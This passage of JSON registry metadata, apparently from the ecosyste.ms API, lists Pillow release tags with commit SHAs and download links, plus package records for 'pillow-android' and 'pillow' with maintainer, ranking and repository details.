3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"fff5536b37c2d619c66c1189b6925fa0a8df3822","kind":"commit","published_at":"2016-01-04T10:04:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0/manifests"},{"name":"3.1.0-rc1","sha":"0f9f5cd8db3365dca23b1b2490dbccf819a07b5c","kind":"commit","published_at":"2016-01-01T16:00:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1/manifests"},{"name":"3.0.0","sha":"0177cceac4adfd0020ecbf49fb44ad275dcc1f51","kind":"commit","published_at":"2015-10-01T20:39:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0/manifests"},{"name":"2.9.0","sha":"80672b61e8596c7d6dab7b4ef3ef1e4783902f51","kind":"commit","published_at":"2015-07-01T18:33:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0/manifests"},{"name":"2.9.0.dev2","sha":"445a8c06fce647249e6a832f595fcdfff1743ad0","kind":"commit","published_at":"2015-06-30T12:04:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2/manifests"},{"name":"2.9.0.dev1","sha":"96944e2dd664efb98e25d0e86671420af26fda40","kind":"commit","published_at":"2015-06-29T12:57:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1/manifests"},{"name":"2.9.0.dev0","sha":"efe925c26f4fb78613b5ed98d488f71a723d03e8","kind":"commit","published_at":"2015-06-28T19:07:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0/manifests"},{"name":"2.8.2","sha":"0222a059d62723fe056daa17f007f87dc46595b4","kind":"commit","published_at":"2015-06-06T23:52:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2/manifests"},{"name":"2.8.1","sha":"3f09b8f1715b018e8249337f1432070301c61e18","kind":"commit","published_at":"2015-04-02T14:59:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1/manifests"},{"name":"2.8.0","sha":"d754598f146f868e8cd7d247b3af6cf3f3c8d510","kind":"commit","published_at":"2015-04-01T19:39:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"0f05eb287a223ce106848cd048cfcb45e9faa565","kind":"commit","published_at":"2015-01-01T04:42:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.7.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0/manifests"},{"name":"2.6.2","sha":"9f0ec3b0d7637e04fa735d7dfb94464301b02c1e","kind":"commit","published_at":"2015-01-01T04:11:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2/manifests"},{"name":"2.6.1","sha":"4a8471dea18f6196161e4444ce5625f46cecd1e1","kind":"commit","published_at":"2014-10-13T17:13:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1/manifests"},{"name":"2.6.0","sha":"9634e437efeeda906ad6bfcc275b17732d64f32a","kind":"commit","published_at":"2014-10-01T16:59:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0/manifests"},{"name":"2.6.0-rc1","sha":"81ebc21abfdd9d152f05d8516b17efba26e4d5b7","kind":"commit","published_at":"2014-09-29T20:14:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1/manifests"},{"name":"2.5.3","sha":"68c6904c280ad872620cc8d904e6d4e6ecc5b6f9","kind":"commit","published_at":"2014-08-14T22:38:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3/manifests"},{"name":"2.3.2","sha":"30529a02793354453971e874be0e78d554d770d9","kind":"commit","published_at":"2014-08-12T18:48:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2/manifests"},{"name":"2.5.2","sha":"4081f9f6a504c9d3b83237fafdecf2be042976a8","kind":"commit","published_at":"2014-08-12T18:44:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2/manifests"},{"name":"2.5.1","sha":"1ab78b8fb7e1f7078dd110bc8d9fba3cc0006e51","kind":"commit","published_at":"2014-07-10T21:54:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1/manifests"},{"name":"2.5.0","sha":"80d6137c860b9322572ee1390514df1975acb2e7","kind":"commit","published_at":"2014-07-01T22:39:40.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"72de37caada5d9ff7c657ce5f4ad6f8a6a3870f0","kind":"commit","published_at":"2014-04-01T22:31:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0/manifests"},{"name":"2.3.1","sha":"b8d4895bd5c41fce88a8ad436672bd8033414797","kind":"commit","published_at":"2014-03-14T23:44:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1/manifests"},{"name":"2.3.0","sha":"b1b88cf4d255c4b9faf1dae05faaa78091268cb1","kind":"commit","published_at":"2014-01-01T21:10:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0/manifests"},{"name":"2.2.2","sha":"72e54e1c53478a173b7e51b5703348453d5a19d4","kind":"commit","published_at":"2013-12-11T23:05:54.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2/manifests"},{"name":"2.2.1","sha":"3c2496e117f4d045a99d7e376133e67b47217ce2","kind":"commit","published_at":"2013-10-02T17:07:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"9b0bc48d26b021ba40bbf1aaf6291ef664f9d083","kind":"commit","published_at":"2013-10-02T11:18:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"75af7e00db304ed34557c856c609d10ecf44d49c","kind":"commit","published_at":"2013-07-02T12:52:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"baea361b9a29e9a1dfa5a9b8e11bc9624a9cee46","kind":"commit","published_at":"2013-03-15T12:59:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0/manifests"},{"name":"1.7.8","sha":"4a10a363e4a220149f7efbf109ac5bf0d1d85b35","kind":"commit","published_at":"2012-11-01T21:09:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.8","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8/manifests"},{"name":"1.7.7","sha":"aaac591549807d183ec8855e5f86bd4584411a87","kind":"commit","published_at":"2012-04-05T01:15:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.7","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7/manifests"},{"name":"1.7.6","sha":"3af55ff06f74711112c0c5b05a9ef1cd3eb58b7d","kind":"tag","published_at":"2012-01-21T00:58:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.6","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6/manifests"},{"name":"1.2","sha":"fb47c498ef1bed2fd5e8bf5c84427bd7ab410da5","kind":"tag","published_at":"2010-08-02T15:44:30.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2/manifests"},{"name":"1.0","sha":"b1030062ea8106abb34c97b83ab16149d33fb98f","kind":"tag","published_at":"2010-07-31T03:26:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-20T00:34:02.249Z","dependent_packages_count":0,"downloads":37,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":39.92713349085602,"dependent_packages_count":7.057952423920956,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":23.49254295738849},"purl":"pkg:pypi/pillow-android","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pillow-android","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pillow-android","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pillow-android/dependencies","status":null,"funding_links":["https://tidelift.com/subscription/pkg/pypi-pillow?utm_source=pypi-pillow\u0026utm_medium=pypi","https://github.com/sponsors/python-pillow","https://tidelift.com/funding/github/pypi/pillow"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-19T20:04:07.682Z","issues_count":859,"pull_requests_count":2671,"avg_time_to_close_issue":12261496.382857142,"avg_time_to_close_pull_request":1548566.9461983105,"issues_closed_count":700,"pull_requests_closed_count":2249,"pull_request_authors_count":167,"issue_authors_count":690,"avg_comments_per_issue":7.09662398137369,"avg_comments_per_pull_request":1.1542493448146762,"merged_pull_requests_count":2032,"bot_issues_count":3,"bot_pull_requests_count":164,"past_year_issues_count":73,"past_year_pull_requests_count":388,"past_year_avg_time_to_close_issue":1211846.0789473683,"past_year_avg_time_to_close_pull_request":837913.4618644068,"past_year_issues_closed_count":38,"past_year_pull_requests_closed_count":236,"past_year_pull_request_authors_count":62,"past_year_issue_authors_count":60,"past_year_avg_comments_per_issue":4.041095890410959,"past_year_avg_comments_per_pull_request":1.1649484536082475,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":207,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/issues","maintainers":[{"login":"radarhere","count":1750,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":235,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"},{"login":"homm","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"},{"login":"mficzel","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mficzel"}],"active_maintainers":[{"login":"radarhere","count":217,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow-android/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow-android/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow-android/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow-android/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow-android/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow-android/codemeta","maintainers":[{"uuid":"ngzr666","login":"ngzr666","name":null,"email":null,"url":null,"packages_count":6,"html_url":"https://pypi.org/user/ngzr666/","role":"Owner","created_at":"2026-06-12T01:47:27.172Z","updated_at":"2026-06-12T01:47:27.172Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/ngzr666/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":930235,"maintainers_count":399576,"namespaces_count":0,"keywords_count":311673,"github":"pypi","metadata":{"funded_packages_count":58495,"rate_limit":2},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-08-23T05:05:26.773Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":2852018,"name":"pillow","ecosystem":"pypi","description":"Python Imaging Library (fork)","homepage":"https://python-pillow.github.io","licenses":"MIT-CMU","normalized_licenses":["MIT-CMU"],"repository_url":"https://github.com/python-pillow/Pillow","keywords_array":["Imaging"],"namespace":null,"versions_count":108,"first_release_published_at":"2010-07-31T06:23:55.000Z","latest_release_published_at":"2026-07-01T11:53:27.000Z","latest_release_number":"12.3.0","last_synced_at":"2026-08-23T09:00:55.567Z","created_at":"2022-04-10T12:03:02.657Z","updated_at":"2026-08-23T09:00:55.567Z","registry_url":"https://pypi.org/project/pillow/","install_command":"pip install pillow --index-url https://pypi.org/simple","documentation_url":"https://pillow.readthedocs.io","metadata":{"funding":"https://tidelift.com/subscription/pkg/pypi-pillow?utm_source=pypi-pillow\u0026utm_medium=pypi","documentation":"https://pillow.readthedocs.io","classifiers":["Development Status :: 6 - Mature","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Multimedia :: Graphics","Topic :: Multimedia :: Graphics :: Capture :: Digital Camera","Topic :: Multimedia :: Graphics :: Capture :: Screen Capture","Topic :: Multimedia :: Graphics :: Graphics Conversion","Topic :: Multimedia :: Graphics :: Viewers","Typing :: Typed"],"normalized_name":"pillow","project_status":null},"repo_metadata":{"id":4067385,"uuid":"5171600","full_name":"python-pillow/Pillow","owner":"python-pillow","description":"Python Imaging Library (Fork)","archived":false,"fork":false,"pushed_at":"2024-10-29T11:16:38.000Z","size":204184,"stargazers_count":12226,"open_issues_count":122,"forks_count":2226,"subscribers_count":220,"default_branch":"main","last_synced_at":"2024-10-29T13:10:01.434Z","etag":null,"topics":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"latest_commit_sha":null,"homepage":"https://python-pillow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/python-pillow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"tidelift":"pypi/pillow"}},"created_at":"2012-07-24T21:38:39.000Z","updated_at":"2024-10-29T12:32:25.000Z","dependencies_parsed_at":"2024-01-17T21:59:46.512Z","dependency_job_id":"6e9152fe-1f34-4701-acf2-7ba67d7d828c","html_url":"https://github.com/python-pillow/Pillow","commit_stats":{"total_commits":12692,"total_committers":491,"mean_commits":25.84928716904277,"dds":0.6697132051686101,"last_synced_commit":"a90a9d5ea5fce7257cb22f904b6f013ec53d7eb3"},"previous_names":["python-imaging/pillow"],"tags_count":90,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":222062767,"owners_count":16924733,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_ur